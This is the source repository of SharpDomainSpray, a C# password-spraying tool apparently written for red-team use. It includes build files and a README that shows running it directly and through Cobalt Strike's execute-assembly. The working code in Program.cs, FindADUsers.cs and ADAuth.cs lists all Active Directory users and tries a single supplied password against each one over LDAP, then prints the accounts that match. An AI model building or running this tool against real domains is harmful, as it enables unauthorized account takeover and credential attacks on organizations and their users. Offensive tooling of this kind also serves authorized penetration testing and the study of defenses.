├── obj ├── Debug │ ├── SharpDomainSpray.csproj.CoreCompileInputs.cache │ ├── SharpDomainSpraty.csproj.CoreCompileInputs.cache │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── SharpDomainSpraty.csprojAssemblyReference.cache │ ├── SharpDomainSpray.csprojAssemblyReference.cache │ └── SharpDomainSpray.csproj.FileListAbsolute.txt └── Release │ ├── SharpDomainSpray.csproj.CoreCompileInputs.cache │ ├── DesignTimeResolveAssemblyReferences.cache │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── SharpDomainSpray.csprojAssemblyReference.cache │ └── SharpDomainSpray.csproj.FileListAbsolute.txt ├── bin └── Release │ ├── SharpDomainSpray.exe │ ├── SharpDomainSpray.pdb │ └── SharpDomainSpray.exe.config ├── App.config ├── README.md ├── ADAuth.cs ├── FindADUsers.cs ├── SharpDomainSpray.sln ├── Properties └── AssemblyInfo.cs ├── Program.cs ├── GetDomain.cs └── SharpDomainSpray.csproj /obj/Debug/SharpDomainSpray.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | ef2be50b150ff2070fb621c3d8d9e5f585cbd9a1 2 | -------------------------------------------------------------------------------- /obj/Debug/SharpDomainSpraty.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 7d099b19195e146e4229180d245aa5bd1f836cd3 2 | -------------------------------------------------------------------------------- /obj/Release/SharpDomainSpray.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 191658fb23f368e83dbb08888391e2dbe033adf5 2 | -------------------------------------------------------------------------------- /bin/Release/SharpDomainSpray.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpDomainSpray/HEAD/bin/Release/SharpDomainSpray.exe -------------------------------------------------------------------------------- /bin/Release/SharpDomainSpray.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpDomainSpray/HEAD/bin/Release/SharpDomainSpray.pdb -------------------------------------------------------------------------------- /obj/Release/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpDomainSpray/HEAD/obj/Release/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpDomainSpray/HEAD/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /obj/Debug/SharpDomainSpraty.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpDomainSpray/HEAD/obj/Debug/SharpDomainSpraty.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /obj/Debug/SharpDomainSpray.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpDomainSpray/HEAD/obj/Debug/SharpDomainSpray.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpDomainSpray/HEAD/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /obj/Release/SharpDomainSpray.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpDomainSpray/HEAD/obj/Release/SharpDomainSpray.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /bin/Release/SharpDomainSpray.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpDomainSpray 2 | 3 | 4 | SharpDomainSpray is a very simple password spraying tool written in .NET. It takes a password then finds users in the domain and attempts to authenticate to the domain with that given password. 5 | 6 | ## Usage 7 | 8 | cmd.exe 9 | ``` 10 | C:\> SharpDomainSpray.exe test12345! 11 | 12 | User: Administrator Password is: test12345! 13 | 14 | User: TestUser Password is: test12345! 15 | ``` 16 | Cobalt Strike 17 | ``` 18 | > execute-assembly /path/to/SharpDomainSpray.exe test12345! 19 | 20 | User: Administrator Password is: test12345! 21 | 22 | User: TestUser Password is: test12345! 23 | ``` 24 | ## Author 25 | 26 | Tom Kallo 27 | -------------------------------------------------------------------------------- /ADAuth.cs: -------------------------------------------------------------------------------- 1 | using System.DirectoryServices; 2 | using System.DirectoryServices.AccountManagement; 3 | 4 | namespace SharpDomainSpray 5 | { 6 | class ADAuth 7 | { 8 | public bool Authenticate(string userName, string password, string domain) 9 | { 10 | bool authentic = false; 11 | try 12 | { 13 | DirectoryEntry entry = new DirectoryEntry("LDAP://" + domain, 14 | userName, password); 15 | object nativeObject = entry.NativeObject; 16 | authentic = true; 17 | } 18 | catch (DirectoryServicesCOMException) { } 19 | return authentic; 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /obj/Debug/SharpDomainSpray.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\bin\Debug\SharpDomainSpraty.exe.config 2 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\bin\Debug\SharpDomainSpraty.exe 3 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\bin\Debug\SharpDomainSpraty.pdb 4 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\obj\Debug\SharpDomainSpray.csprojAssemblyReference.cache 5 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\obj\Debug\SharpDomainSpray.csproj.CoreCompileInputs.cache 6 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\obj\Debug\SharpDomainSpraty.exe 7 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\obj\Debug\SharpDomainSpraty.pdb 8 | -------------------------------------------------------------------------------- /obj/Release/SharpDomainSpray.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\obj\Release\SharpDomainSpray.csprojAssemblyReference.cache 2 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\obj\Release\SharpDomainSpray.csproj.CoreCompileInputs.cache 3 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\bin\Release\SharpDomainSpray.exe.config 4 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\bin\Release\SharpDomainSpray.exe 5 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\bin\Release\SharpDomainSpray.pdb 6 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\obj\Release\SharpDomainSpray.exe 7 | C:\Users\Administrator\source\repos\SharpDomainSpraty\SharpDomainSpraty\obj\Release\SharpDomainSpray.pdb 8 | -------------------------------------------------------------------------------- /FindADUsers.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.DirectoryServices; 4 | using System.DirectoryServices.AccountManagement; 5 | using System.DirectoryServices.ActiveDirectory; 6 | using System.Linq; 7 | 8 | namespace SharpDomainSpray 9 | { 10 | public class ADUser 11 | { 12 | public List ADuser() 13 | { 14 | DirectoryEntry directoryEntry = new DirectoryEntry("WinNT://" + Domain.GetComputerDomain()); 15 | List userNames = new List(); 16 | 17 | foreach (DirectoryEntry child in directoryEntry.Children) 18 | { 19 | if (child.SchemaClassName == "User") 20 | { 21 | userNames.Add(child.Name); 22 | } 23 | 24 | } 25 | return userNames; 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /SharpDomainSpray.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.28803.202 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpDomainSpray", "SharpDomainSpray.csproj", "{76FFA92B-429B-4865-970D-4E7678AC34EA}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {76FFA92B-429B-4865-970D-4E7678AC34EA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {76FFA92B-429B-4865-970D-4E7678AC34EA}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {76FFA92B-429B-4865-970D-4E7678AC34EA}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {76FFA92B-429B-4865-970D-4E7678AC34EA}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {7CCD8BC0-75E0-4122-9E39-5CF1F414B041} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpDomainSpraty")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpDomainSpraty")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("76ffa92b-429b-4865-970d-4e7678ac34ea")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.DirectoryServices.AccountManagement; 5 | using System.Text; 6 | using System.DirectoryServices.ActiveDirectory; 7 | using System.IO; 8 | 9 | namespace SharpDomainSpray 10 | { 11 | class Program 12 | { 13 | static void Main(string[] args) 14 | { 15 | if (args.Length == 0) 16 | { 17 | System.Console.WriteLine("SharpSpray: Perform password spraying for all active users on a domain."); 18 | System.Console.WriteLine(""); 19 | System.Console.WriteLine("Usage: SharpSpray.exe PASSWORD"); 20 | } 21 | 22 | string pass_to_guess = String.Empty; 23 | 24 | if (args.Length == 1) 25 | { 26 | pass_to_guess = args[0]; 27 | } 28 | 29 | List ad_users = new List(); 30 | string domain_name = DomainInformation.GetDomainOrWorkgroup(); 31 | 32 | ADUser aduser = new ADUser(); 33 | ad_users = aduser.ADuser(); 34 | 35 | ADAuth auth = new ADAuth(); 36 | bool valid_or_not = false; 37 | foreach (string line in ad_users) 38 | { 39 | valid_or_not = auth.Authenticate(line, pass_to_guess, domain_name); 40 | if (valid_or_not == true) 41 | { 42 | Console.WriteLine(""); 43 | Console.WriteLine("User: " + line + " " + "Password is: " + pass_to_guess); 44 | } 45 | 46 | } 47 | 48 | } 49 | 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /GetDomain.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SharpDomainSpray 5 | { 6 | public static class DomainInformation 7 | { 8 | [DllImport("Netapi32.dll")] 9 | static extern int NetApiBufferFree(IntPtr Buffer); 10 | 11 | [DllImport("Netapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 12 | static extern int NetGetJoinInformation( 13 | string server, 14 | out IntPtr domain, 15 | out NetJoinStatus status); 16 | 17 | // Win32 Result Code Constant 18 | const int ErrorSuccess = 0; 19 | 20 | public enum NetJoinStatus 21 | { 22 | NetSetupUnknownStatus = 0, 23 | NetSetupUnjoined, 24 | NetSetupWorkgroupName, 25 | NetSetupDomainName 26 | } 27 | 28 | // Returns the domain name the computer is joined to, or "" if not joined. 29 | public static string GetDomainOrWorkgroup() 30 | { 31 | int result = 0; 32 | string domain = null; 33 | IntPtr pDomain = IntPtr.Zero; 34 | NetJoinStatus status = NetJoinStatus.NetSetupUnknownStatus; 35 | try 36 | { 37 | result = NetGetJoinInformation(null, out pDomain, out status); 38 | if (result == ErrorSuccess) 39 | switch (status) 40 | { 41 | case NetJoinStatus.NetSetupDomainName: 42 | case NetJoinStatus.NetSetupWorkgroupName: 43 | domain = Marshal.PtrToStringAuto(pDomain); 44 | break; 45 | } 46 | } 47 | finally 48 | { 49 | if (pDomain != IntPtr.Zero) 50 | NetApiBufferFree(pDomain); 51 | } 52 | if (domain == null) domain = ""; 53 | return domain; 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /SharpDomainSpray.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {76FFA92B-429B-4865-970D-4E7678AC34EA} 8 | Exe 9 | SharpDomainSpray 10 | SharpDomainSpray 11 | v3.5 12 | 512 13 | 14 | 15 | publish\ 16 | true 17 | Disk 18 | false 19 | Foreground 20 | 7 21 | Days 22 | false 23 | false 24 | true 25 | 0 26 | 1.0.0.%2a 27 | false 28 | false 29 | true 30 | 31 | 32 | AnyCPU 33 | true 34 | full 35 | false 36 | bin\Debug\ 37 | DEBUG;TRACE 38 | prompt 39 | 4 40 | 41 | 42 | AnyCPU 43 | pdbonly 44 | true 45 | bin\Release\ 46 | TRACE 47 | prompt 48 | 4 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | False 75 | .NET Framework 3.5 SP1 76 | true 77 | 78 | 79 | 80 | --------------------------------------------------------------------------------